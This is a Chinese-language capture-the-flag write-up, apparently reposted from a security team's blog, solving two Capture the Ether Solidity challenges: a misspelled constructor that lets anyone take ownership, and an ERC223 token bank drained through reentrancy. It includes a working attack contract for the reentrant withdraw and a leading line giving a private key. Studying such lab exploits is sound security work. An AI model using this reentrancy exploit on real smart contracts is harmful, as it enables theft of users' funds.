获得私钥 614f5e36cd55ddab0947d1723693fef5456e5bee24738ba90bd33c0c6e68e269

Miscellaneous

Assume ownership

To complete this challenge, become the owner.

pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;

function AssumeOwmershipChallenge() public {
owner = msg.sender;
}

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

Enjoy this inspirational music while you work: Owner Of A Lonely Heart.

乍一看这一题好像是 Account Takeover 好像差不多,也要搞到题目部署者的私钥?

但其实这是solidity 0.4.x 版本才会出现的问题了。0.4.x 版本默认和合约名一样的函数为构造函数,仅在部署的时候运行一次。但注意到题目的AssumeOwmershipChallenge()函数,虽然和合约名很像,但其实中间是有一个字符不一样的。再加上public标签。所以这其实是一个任何账户都可以调用的函数。

因此我们直接调用AssumeOwmershipChallenge()函数便可以成为owner,完成解题了。

Token bank

I created a token bank. It allows anyone to deposit tokens by transferring them to the bank and then to withdraw those tokens later. It uses ERC 223 to accept the incoming tokens.

The bank deploys a token called “Simple ERC223 Token” and assigns half the tokens to me and half to you. You win this challenge if you can empty the bank.

pragma solidity ^0.4.21;

interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;

string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;

uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

event Transfer(address indexed from, address indexed to, uint256 value);

function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}

function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}

function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}

function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);

balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);

if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}

event Approval(address indexed owner, address indexed spender, uint256 value);

mapping(address => mapping(address => uint256)) public allowance;

function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}

function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);

balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}

contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;

function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();

// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}

function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}

function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);

balanceOf[from] += value;
}

function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);

require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}

Enjoy this inspirational music while you work: A British Bank.

最后一道题了,有一点点长

上面一大堆都是代币的一些基础功能,总共发行了1,000,000 SET。看到题目合约,里面也有一个balanceOf,给合约自己和player各 500,000 (SET)

然后开了一个tokenFallback函数,不过只能被token合约调用。然后有一个withdraw,玩家应该是可以从这里取,然后在token合约那里就能相应的加。类似于把币从题目合约取到了token合约。不过注意道这里,先是transfer了,然后才改的状态balanceOf[msg.sender] -= amount;所以这里理论上是存在一个重入漏洞了。

我们先走一个流程,如果我们去取个500,000,然后第一个require能通过的,进入第二个require,会调用token.transfer,

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

此时msg.sender应该是题目合约,to是我们。balanceOf[msg.sender] 是有 1,000,000 SET的,所以第一个require能过,然后token给我们加,给题目合约减。接着进入一个判断,如果 to 是一个合约,则会调用 to 合约的tokenFallback函数,如果 to 是一个外部用户,就不管了。然后返回True。

那么正常来看这个流程是没有什么问题,但如果我们部署一个攻击合约去操作,然后里面写一个tokenFallback函数去搞点事情呢?如果我们这个tokenFallback再调一次token的transfer,那msg.sender会是我们,会扣我们的钱,这不行。去调题目合约的tokenFallback?也不行,题目合约的 tokenFallback 只让 token 合约调用。那就。。。再调一次withdraw!

此时流程还没走到 balanceOf[msg.sender] -= amount; 我们在题目合约的账户上还是有那么多钱的,所以能过第一个require,然后又进入到token.transfer,再给我们的账户上打一笔钱。两笔就能掏空所有题目合约上的钱了,完成解题。

但是这里一个问题,攻击合约在题目合约里是没有钱的,所以攻击合约就没法直接调用withdraw函数。得想办法把钱转进攻击合约里。

转账流程:

  1. 首先用户调用withdraw,把题目合约的钱都取到token合约里,
  2. 然后在token合约里把钱都转进攻击合约的账户,
  3. 然后攻击合约把token合约里的钱都转到题目合约里去,因为题目合约里有tokenFallback,会给我们的攻击合约加钱

这样在题目合约里,攻击合约的账户就有钱了,然后就可以开始withdraw了。(当然也可以直接给攻击合约approval授权)

攻击合约

contract pwn{
    SimpleERC223Token public token;
    TokenBankChallenge public target;
    uint8 public reentrytimes = 0;
    bool  public startrenentry = false;
    function pwn(){
        token = SimpleERC223Token(0x911c8EdBc4E23BC983830E369086E2DF15F0B70d);
        target = TokenBankChallenge(0x6A7A6DCF572c9Bd6dFdc53bBEd8Bc4602224A6f6);

    }

    function init(){
        token.transfer(address(target),500000000000000000000000);
    }

    function start(){
        
        target.withdraw(500000000000000000000000);

    }

    function tokenFallback(address from, uint256 value, bytes) public{
    require(msg.sender == address(token));
    if ( startrenentry && reentrytimes < 1){
        reentrytimes += 1;
        target.withdraw(500000000000000000000000);
        
    }
    if (startrenentry == false){
        startrenentry = true;
    }
    }

    function() payable{

    }
}

上述三个流程走完后,调用一下init(),把攻击合约的钱转到题目合约里去。注意到这里也会触发我们的tokenFallback,但此时我这里不想有动作,所以这里设置一个startrenentry。然后设置一下reentrytimes,这里我们只想走一遍重入就够了。(一个注意的小点,reentrytimes 状态的更改要在重入之前,不然就无限重复,最终耗尽gas而失败了。)

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



区块链篇-Capture the Ether

原文始发于微信公众号(ChaMd5安全团队):区块链篇-Capture the Ether

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日23:57:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  区块链篇-Capture the Ether http://cn-sec.com/archives/935225.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: